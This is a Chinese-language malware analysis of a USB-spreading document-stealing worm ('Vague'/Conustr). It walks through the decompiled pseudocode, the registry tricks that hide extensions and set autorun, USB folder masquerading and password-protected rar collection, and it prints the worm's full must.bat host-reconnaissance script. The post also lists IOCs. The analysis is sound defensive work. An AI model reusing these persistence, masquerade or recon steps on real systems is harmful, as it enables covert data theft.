一例Vague病毒的分析

这是一例通过U盘传播的文件夹病毒,有收集用户文件的行为,但是,没有回传和远控行为,有点奇怪,其中的字符串进行了加密。
样本比较简单,使用IDA很容易就看明白了。
根据匹配到威胁情报,有叫Vague蠕虫,也有叫Conustr,也没有找到其它相关的信息。

样本的基本信息

Verified:	Unsigned
Link date:	15:15 2013/8/26
MachineType:	32-bit
MD5:	E9A6B1346D1A2447CABB980F3CC5DD27
SHA1:	FE102A75E319AAB20F030299DF3A0A36204B4019
大小 136 KB (139,264 字节)
编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]
编译器: Microsoft Visual C/C++(6.0)[libc]
链接程序: Microsoft Linker(6.0*)[GUI32]

使用文件夹图标

静态分析

winmain函数

首先注册了一个窗口类,创建一个名为DefaultIME IME的窗口并隐藏

设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt="",用于隐藏文件后缀名,这个样本修改注册表的方式有点特别,会生成一个文本文件(如下所示)保存为%temp%\ppxxx,然后执行regini.exe %temp%\ppxxx来修改注册表。后台添加开机启动项也采用这种方式。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
"NeverShowExt"= REG_SZ ""

若存在同名的文件夹,将其打开

以非共享模式创建文件 %temp%\~tmpx5.tmp ,相当于互斥量,防止双开,若打开失败,说明已经有一个实例在运行,退出 。

若当前程序路径不是%temp%\conhost.exe,说明是当前实例从U盘上运行,则将自身拷贝到%temp%\conhost.exe并隐藏,运行%temp%\conhost.exe,本实例退出。

释放并执行一个批处理文件,%temp%\must.bat,这个脚本用来获取主机的信息和文件列表,保存在%temp%\winword4.doc,运行后会自毁

解析系统Recent目录下lnk文件,将最近访问过的 *.doc、*.docx、*.pdf、*.mvd、 *.tif、 *.xls、*.xlsx文件和%temp%\winword4.doc,使用winrar程序打包进%temp%\WPDNSE\XXXXXXXX.NLS(XXXXXXXX为根据本地计算名生成的一个DWORD类型的整数的十六进制表示)

创建3个定时器,id为1、2、3,时间间隔分别为1小时、1分钟、10秒。

winmain函数结构很清楚,F5生成伪代码如下

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{int result; // eaxstruct tagMSG Msg; // [esp+Ch] [ebp-224h] BYREFWCHAR cmd; // [esp+28h] [ebp-208h] BYREFchar v7[516]; // [esp+2Ah] [ebp-206h] BYREF__int16 v8; // [esp+22Eh] [ebp-2h]CoInitialize(0u);                             // 初始化化COM接口,后面打开link文件会用到SetErrorMode(0x8003u);                        // 设置不提示错误RegWindow_403980(hInstance);                  // 注册一个窗口类  classname = DefaultIMESetNeverShowExt_4014B0();                     // 设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt=""// 不显示文件扩展名result = (int)CreateWindow_403A20(hInstance, 0);// 创建一个窗口并隐藏,窗口名为DefaultIME IMEif ( result ){SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNE_UPDATEDIR, 0u, 0u);// 更新文件类型关联配置,使上面设置的注册表项生效OpenDirInSameName_401070();                 // 打开同名的真正的文件夹Sleep(2013u);// 以非共享模式创建文件 %temp%\~tmpx5.tmp ,相当于互斥量,防止双开if ( CreateFile_401000(L"~tmpx5.tmp") == (HANDLE)INVALID_FILE_SIZE ){result = 0;                               // 若打开失败,说明已经有一个实例在运行,退出 }else if ( CopySelf_4012D0() == 1 )          // 若当前程序路径不是%temp%\conhost.exe,说明是在U盘上,则将自身拷贝到%temp%\conhost.exe并隐藏{cmd = 0;memset(v7, 0, sizeof(v7));v8 = 0;Gen_conhost_FileName_4013A0(&cmd);Exec_401870(&cmd, 0, 0);                  // 运行%temp%\conhost.exe,本实例退出result = 0;}else{                                           // 不是在U盘上运行// 初始化一个列表,保存要搜集的文件后缀名strcpy(file_ext0_40B5CE, "*.doc");        // *.docstrcpy(file_ext1_40B64E, "*.docx");       // *.docxstrcpy(file_ext2_40B6CE, "*.pdf");        // *.pdfstrcpy(file_ext3_40B74E, "*.mvd");        // *.mvdstrcpy(file_ext4_40B7CE, "*.tif");        // *.tifstrcpy(file_ext5_40B84E, "*.xls");        // *.xlsstrcpy(file_ext6_40B8CE, "*.xlsx");       // *.xlsxCreateAndExec_must_bat_402E90();          // 释放并执行%temp%\must.bat,获取主机的信息和文件列表,保存在%temp%\winword4.docCollectFile_403500();                     // 将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx文件和%temp%\winword4.doc,// 使用winrar打包进%temp%\WPDNSE\XXXXXXXX.NLSSetTimer(hWnd, 1u, 3600000u, 0u);         // 创建了3个计时器 计时器1 1小时SetTimer(hWnd, 2u, 60001u, 0u);           // 计时器2 60sSetTimer(hWnd, 3u, 10002u, 0u);           // 计时器3 10swhile ( GetMessageA(&Msg, 0u, 0u, 0u) )   // 消息循环{TranslateMessage(&Msg);DispatchMessageA(&Msg);}result = Msg.wParam;}}return result;
}

窗口函数

窗口函数的主要功能是处理三个定时器
定时器1:将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx文件和%temp%\winword4.doc
使用winrar打包进%temp%\WPDNSE\xxxxxxxx.NLS,并重设定时器

定时器2:在注册表中添加开机启动项,退出

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load=%temp%\conhost.exe

定时器3:遍历系统内的所有驱动器(包括网络驱动器),搜集文件,感染可移动存储介质

感染U盘

假设U盘的盘符为X
将自身拷贝到X:\RECYCLER\Dcfly.exe,若同名的文件已经存在,获取该文件的三个时间(CreationTime,LastAccessTime,LastWriteTime),若CreationTime.wSecond=20,CreationTime.wMilliseconds==444,LastWriteTime.wSecond=13,且比当前版本新,但执行U盘上的新版本,退出当前实例。

遍历U盘根目录的文件夹,跳过Recycled,RECYCLER,System,隐藏这些文件夹,将自身拷贝成同名文件,欺骗用户点击.

%temp%\WPDNSE\*.NLS%temp%\Media\*.ldf拷贝到X:\RECYCLER\下并隐藏,拷贝命令如下

C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\WPDNSE\*.NLS X:\RECYCLER\
C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\Media\*.ldf X:\RECYCLER\

X:\*.doc X:\*.docx X:\*.pdf X:\*.mvd X:\*.tif X:\*.xls X:\*.xlsx`` 打包进%temp%\WPDNSE\xxxxxxxx.NLS`

打包的命令

这个样本使用winrar程序来进行打包,执行命令如下,其中[X]为盘符,[yyyyMMdd]为当前日期,压缩的密码为ThisTw0Piece,[computer_name_hash]为当前系统计算名生成的一个DWORD类型的整数的16进制表示

"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] %temp%\WPDNSE\[computer_name_hash].NLS X:\*.doc X:\*.docx X:\.xls X:*xlsx X:\*.pdf X:\*.mvd X:\*.tif"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] C:\Users\xxx\AppData\Local\Temp\WPDNSE\[computer_name_hash].NLS "[filename]"

must.bat

该样本会释放一个%temp%\must.bat的批处理脚本,内容如下,主要功能是采集系统信息和文件列表,保存在%temp%\winword4.doc,这个文件会被打包进NLS文件,运行完会自毁

@echo off
set xm2n=%temp%\winword4.doc
date /t  >%xm2n%
ver >>%xm2n%
net user >>%xm2n%
net localgroup administrators >>%xm2n%
net start >>%xm2n%
netstat -ano >>%xm2n%
tasklist >>%xm2n%
ipconfig /all >>%xm2n%
arp -a >>%xm2n%
systeminfo >>%xm2n%
net use >>%xm2n%
net view >>%xm2n%
net view /domain >>%xm2n%
net user /domain >>%xm2n%
dir c:\*.* /s/a/od >>%xm2n%
dir d:\*.* /s/a/od >>%xm2n%
dir e:\*.* /s/a/od >>%xm2n%
dir f:\*.* /s/a/od >>%xm2n%
dir g:\*.* /s/a/od >>%xm2n%
dir h:\*.* /s/a/od >>%xm2n%
dir i:\*.* /s/a/od >>%xm2n%
del """%0"""

IOC

文件
病毒本体
可移动存储介质上与文件夹同名的exe文件
X:\RECYCLER\Dcfly.exe 
%temp%\conhost.exe%temp%\~tmpx5.tmp 用于防双开
X:\RECYCLER\*.ldf 不知道啥作用
%temp%\Media\*.ldf 不知道啥作用
%temp%\WPDNSE\[xxxxxxxx].NLS 压缩包,采集的本地和U盘中信息
%temp%\WPDNSE\[xxxxxxxx]@.NLS 压缩包,采集的远程驱动器的信息
X:\RECYCLER\[xxxxxxxx]@.NLS 压缩包
X:\RECYCLER\[xxxxxxxx].NLS 压缩包
%temp%\ppxxxx 注册表文件,临时文件,用完会删除
%temp%\winword4.doc 用于保存采集主机信息和文件列表的文本文件
%temp%\must.bat 用于采集主机信息和文件列表注册表
隐藏文件后缀名
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
NeverShowExt = ""
开机启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
Load = "[%Temp%]\conhost.exe"

总结

这个样本是一个典型的通过摆渡的方式进行窃密的样本,通过感染U盘进行传播(将U盘根目录的文件夹隐藏,伪造成同名文件夹,欺骗用户点击执行),将终端的信息和特定类型的文件加密压缩保存在U盘中,有自我更新的功能,该样本依赖于winrar进行压缩和打包。有两个可疑的地方,一是该样本没有网络行为,二是目录%temp%\Media\和文件%temp%\Media\*.ldf起啥作用也不知道。

参考资料

  • 顽固木马清理专题之蠕虫篇《模糊的月光》
  • WORM_CONUSTR.A
  • How to remove Dcfly.exe
  • Como Eliminar Virus Que Convierte Las Carpetas En Archivos Exe

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/45023.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AI】文心一言的使用

一、获得内测资格: 1、点击网页链接申请:https://yiyan.baidu.com/ 2、点击加入体验,等待通过 二、获得AI伙伴内测名额 1、收到短信通知,点击链接 网页Link:https://chat.baidu.com/page/launch.html?fa&sourc…

人工智能在网络安全中的作用:当前的局限性和未来的可能性

人工智能 (AI) 激发了网络安全行业的想象力,有可能彻底改变安全和 IT 团队处理网络危机、漏洞和勒索软件攻击的方式。 然而,对人工智能的能力和局限性的现实理解至关重要,并且存在许多挑战阻碍人工智能对网络安全产生直接的变革性影响。 在…

【ES6】—使用 const 声明

一、不属于顶层对象window 使用const关键字 声明的变量,不会挂载到window属性上 const a 5 console.log(a) console.log(window.a) // 5 // undefined二、不允许重复声明 使用const关键字不允许重复声明相同的变量 cosnt a 5 cosnt a 6 // Uncaught SyntaxEr…

Postman如何做接口测试:什么?postman 还可以做压力测试?

我们都知道, postman 是一款很好用的接口测试工具。不过 postman 还可以做简单的压力测试,而且步骤只需要 2 步。 首先,打开 postman, 编写接口的请求参数。 然后,点击右下方的 runner 运行器,把需要测试的接口拖动到…

Linux实用运维脚本分享

Linux实用运维脚本分享🍃 MySQL备份 目录备份 PING查询 磁盘IO检查 性能相关 进程相关 javadump.sh 常用工具安装 常用lib库安装 系统检查脚本 sed进阶 MySQL备份 #!/bin/bashset -eUSER"backup" PASSWORD"backup" # 数据库数据目录…

学习网络编程No.3【socket理论实战】

引言: 北京时间:2023/8/12/15:32,自前天晚上更新完文章,看了一下鹅厂新出的《扫毒3》摆烂至现在,不知道是长大了,还是近年港片就那样,给我的感觉不是很好,也可能是国内市场对港片不…

Vue 项目搭建

环境配置 1. 安装node.js 官网:nodejs(推荐 v10 以上) 官网:npm 是什么? 由于vue的安装与创建依赖node.js(JavaScript的运行环境)里的npm(包管理和分发工具)&#xff…

Python编程基础-函数

函数定义与调用 将完成某一特定功能并经常使用的代码编写成函数,在需要使用时直接调用 def 函数名(函数参数): 函数体 return 表达式或者值 def printHello(): #打印hello字符串print (hello)def printNum(): #输出0--9数字for i in range(0,10):print (i)return…

更新arm的linux编译工具链

虑到目前arm的gcc 5.5的工具链对C17语法支持不足,需要升级下工具链。 以下是详细步骤。使用官方提供的工具链 ARM官方的工具链网站: https://developer.arm.com/downloads/-/arm-gnu-toolchain-downloads bare-metal这个版本就是没有操作系统(裸机环…

“之江数据安全治理论坛”暨《浙江省汽车数据处理活动规定(专家建议稿)》研讨会顺利召开

研讨会主题 8月10日,“之江数据安全治理论坛”暨《浙江省汽车数据处理活动规定(专家建议稿)》研讨会在浙江大学计算机创新技术研究院举办。 本次研讨会的主题聚焦于“智能网联汽车的数据安全与数据合规”,邀请行业主管部门和数据…

【音视频原理】图像相关概念 ① ( 像素 | 分辨率 | 位深 )

文章目录 一、图像相关概念1、像素2、分辨率3、位深 一、图像相关概念 图像相关概念 : 像素 : 图片基本单位 ;分辨率 : 图像的像素尺寸 ;位深 : 记录每个像素点颜色时使用的位数 ;帧率 : 一秒钟传输图片的帧数 , 单位 fps , Frame Per Second ;码率 : 单位时间内视频的数据流量…

什么文件传输协议才能保障跨国文件传输安全又稳定

在当今的全球化时代,跨国文件传输是一种常见而又重要的需求,无论是个人还是企业,都需要通过网络来分享和交换各种类型和大小的文件。但是,跨国文件传输也面临着许多挑战和风险,如何选择一个合适的文件传输协议&#xf…

机器学习与模式识别3(线性回归与逻辑回归)

一、线性回归与逻辑回归简介 线性回归主要功能是拟合数据,常用平方误差函数。 逻辑回归主要功能是区分数据,找到决策边界,常用交叉熵。 二、线性回归与逻辑回归的实现 1.线性回归 利用回归方程对一个或多个特征值和目标值之间的关系进行建模…

(排序) 剑指 Offer 21. 调整数组顺序使奇数位于偶数前面 ——【Leetcode每日一题】

❓剑指 Offer 21. 调整数组顺序使奇数位于偶数前面 难度:简单 输入一个整数数组,实现一个函数来调整该数组中数字的顺序,使得所有奇数在数组的前半部分,所有偶数在数组的后半部分。 示例: 输入:nums [1…

02.案列项目Demo

1.创建项目 1. 创建项目 用pycharm 选择对应的编译器,输入对应的文件名,点击创建项目。删除默认外层生成的template和DIRS 配置项: 2. 创建App 创建appo1的命令: python manage.py startapp app01 如果使用pycharm>tool>…

mongodb.使用自带命令工具导出导入数据

在一次数据更新中,同事把老数据进行了清空操作,但是新的逻辑数据由于某种原因(好像是她的电脑中病毒了),一直无法正常连接数据库进行数据插入,然后下午2点左右要给甲方演示,所以要紧急恢复本地的…

深入理解SSO原理,项目实践使用一个优秀开源单点登录项目(附源码)

深入理解SSO原理,项目实践使用一个优秀开源单点登录项目(附源码)。 一、简介 单点登录(Single Sign On),简称为 SSO。 它的解释是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。 ❝ 所谓一次登录,处处登录。同样一处退出,处处退出。 ❞ 二…

【Android Studio】 win11 安装配置 jdk17 超详细

概述 一个好的安装教程能够帮助开发者完成更便捷、更快速的开发。书山有路勤为径,学海无涯苦作舟。我是秋知叶i、期望每一个阅读了我的文章的开发者都能够有所成长。 一、下载JDK JDK官网 这里下载 JDK17 windows x64 installer 二、安装JDK 双击打开下载的 j…

17-工程化开发 脚手架 Vue CLI

开发Vue的两种方式: 1.核心包传统开发模式: 基于 html/css /js 文件,直接引入核心包,开发 Vue。 2.工程化开发模式: 基于构建工具 (例如: webpack)的环境中开发 Vue。 问题: 1. webpack 配置不简单 2. 雷同的基础配置 3. 缺乏统…

Redis——set类型详解

概要 Set(集合),将一些有关联的数据放到一起,集合中的元素是无序的,并且集合中的元素是不能重复的 之前介绍的list就是有序的,对于列表来说[1, 2, 3] 和 [2, 1, 3]是两个不同的列表,而对于集合…